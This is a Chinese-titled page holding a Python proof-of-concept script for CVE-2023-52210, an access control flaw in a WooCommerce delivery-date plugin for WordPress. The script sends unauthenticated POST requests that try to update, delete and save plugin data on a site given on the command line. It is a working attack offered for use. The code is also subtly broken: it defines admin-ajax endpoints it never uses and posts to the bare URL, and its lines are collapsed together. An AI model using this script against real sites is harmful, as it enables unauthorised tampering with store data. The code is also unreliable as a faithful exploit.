CVE-2023-52210 WordPress插件Product Delivery Date访问控制漏洞

import requests import sys # CVE-2023-52210 PoC - Broken Access Control in Product Delivery Date for WooCommerce Lite # Target: WordPress site with Product Delivery Date for WooCommerce Lite plugin < 2.7.0 def check_vulnerability(target_url): """ Check if the target is vulnerable to CVE-2023-52210 This PoC attempts to access admin AJAX endpoints without authentication """ # Common AJAX endpoints for the plugin endpoints = [ '/wp-admin/admin-ajax.php', '/wp-admin/admin.php?page=pd_delivery_date', ] # Vulnerable actions that should require authentication vulnerable_actions = [ 'pd_update_delivery_date', 'pd_delete_delivery_date', 'pd_save_settings', 'pd_get_calendar_data', ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2023-52210 - Broken Access Control in Product Delivery Date for WooCommerce Lite\n") vulnerable = False for action in vulnerable_actions: data = { 'action': action, 'nonce': '', # No nonce required due to missing validation } try: response = requests.post(target_url, data=data, timeout=10) # Check if response indicates successful unauthorized access # Response codes: 200 without login requirement indicates vulnerability if response.status_code == 200: # Check response content for signs of successful exploitation if 'pd_delivery_date' in response.text or 'delivery_date' in response.text: print(f"[!] VULNERABLE: Action '{action}' accessible without authentication") print(f"[*] Response preview: {response.text[:200]}...") vulnerable = True else: print(f"[-] Action '{action}' returned 200 but no obvious data leak") else: print(f"[*] Action '{action}' returned status {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error testing action '{action}': {e}") if vulnerable: print("\n[+] Target is VULNERABLE to CVE-2023-52210") print("[+] Recommendation: Update Product Delivery Date for WooCommerce Lite to version 2.7.0 or later") return True else: print("\n[-] Target may not be vulnerable or plugin is not installed") return False if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://example.com") sys.exit(1) target = sys.argv[1].rstrip('/') check_vulnerability(target)